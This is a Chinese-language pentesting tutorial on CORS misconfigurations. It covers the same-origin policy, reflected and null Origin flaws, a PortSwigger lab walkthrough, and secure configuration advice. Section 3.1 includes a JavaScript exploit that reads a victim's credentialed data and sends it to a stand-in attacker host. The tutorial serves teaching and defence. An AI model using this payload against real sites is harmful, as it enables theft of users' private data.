渗透测试中的CORS漏洞利用
字数 1808 2025-08-22 12:23:42
渗透测试中的CORS漏洞利用详解
1. CORS基础概念
1.1 什么是CORS(跨源资源共享)
跨源资源共享(CORS)是一种浏览器机制,允许对位于特定域外的资源进行受控访问。它扩展并增加了同源策略(SOP)的灵活性,但若配置不当,也可能为跨域攻击提供隐患。
1.2 同源策略(SOP)
同源策略是一种限制性规范,用于限制网站与源域之外的资源进行交互的能力。它主要特点包括:
- 限制跨域交互以防止恶意网站窃取数据
- 允许向其他域发出请求但不允许访问响应
- 基于协议、域名和端口判断是否同源
2. CORS工作机制
2.1 CORS请求类型
- 简单请求:满足特定条件的GET/HEAD/POST请求
- 预检请求:不满足简单请求条件的请求会先发送OPTIONS请求
2.2 关键HTTP头
-
请求头:
Origin: 表明请求来源Access-Control-Request-Method: 预检请求中声明实际请求方法Access-Control-Request-Headers: 预检请求中声明实际请求头
-
响应头:
Access-Control-Allow-Origin(ACAO): 允许访问的源Access-Control-Allow-Credentials: 是否允许携带凭证Access-Control-Allow-Methods: 允许的方法Access-Control-Allow-Headers: 允许的头部
3. CORS常见配置错误及漏洞利用
3.1 反射任意Origin的CORS漏洞
漏洞描述:
服务器直接反射客户端提供的Origin头,未做任何过滤。
示例:
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
利用代码:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};
3.2 Origin解析错误
漏洞描述:
虽然使用了白名单机制,但存在解析错误,如:
- 子域通配符过于宽松(
*.example.com) - 未正确处理端口号
- 正则表达式缺陷
- 未验证协议(http/https)
3.3 信任null Origin
漏洞描述:
服务器配置为信任null Origin,攻击者可通过沙盒iframe触发。
3.4 HTTPS域信任HTTP域
漏洞描述:
服务器配置允许来自HTTP域的请求访问HTTPS资源,易受MITM攻击。
4. CORS漏洞利用实战
4.1 基本步骤
-
识别CORS配置
- 检查响应中的CORS头
- 尝试修改Origin头观察响应
-
测试配置弱点
- 反射任意Origin
- 尝试绕过白名单
- 测试null Origin
- 检查凭证处理
-
构建利用代码
- 使用XMLHttpRequest或Fetch API
- 处理响应数据
4.2 靶场示例
靶场地址:
https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack
解决方案:
- 修改Origin头为攻击者控制的域
- 确认服务器反射该Origin
- 构造恶意页面窃取用户数据
5. CORS安全防护
5.1 最佳实践
-
严格限制允许的Origin
- 避免使用通配符
* - 维护精确的白名单
- 动态验证Origin头
- 避免使用通配符
-
正确处理凭证
- 避免不必要的
Access-Control-Allow-Credentials: true - 若必须使用凭证,严格限制Origin
- 避免不必要的
-
限制允许的方法和头
- 仅开放必要的方法
- 限制自定义头
-
使用Vary头
Vary: Origin防止缓存污染
5.2 配置示例
安全配置:
Access-Control-Allow-Origin: https://trusted.example.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Max-Age: 86400
Vary: Origin
避免的配置:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
6. 与其他漏洞的结合
CORS漏洞常与以下漏洞结合利用:
- CSRF:绕过同源策略执行跨站请求
- XSS:通过注入脚本利用宽松的CORS策略
- JSON劫持:窃取JSON数据
7. 测试工具与方法
-
手动测试:
- 使用Burp Suite修改Origin头
- 观察响应头变化
-
自动化工具:
- OWASP ZAP
- Burp Scanner
- Corsy等专用工具
-
浏览器开发者工具:
- 检查网络请求中的CORS头
- 查看控制台错误信息
8. 总结
CORS是现代Web应用的重要机制,但错误配置可能导致严重安全问题。渗透测试人员应:
- 全面测试CORS实现
- 关注Origin处理逻辑
- 检查凭证处理方式
- 验证白名单实现
- 评估与其他漏洞的结合可能性
开发人员则应遵循最小权限原则,严格验证Origin,避免不必要的宽松配置。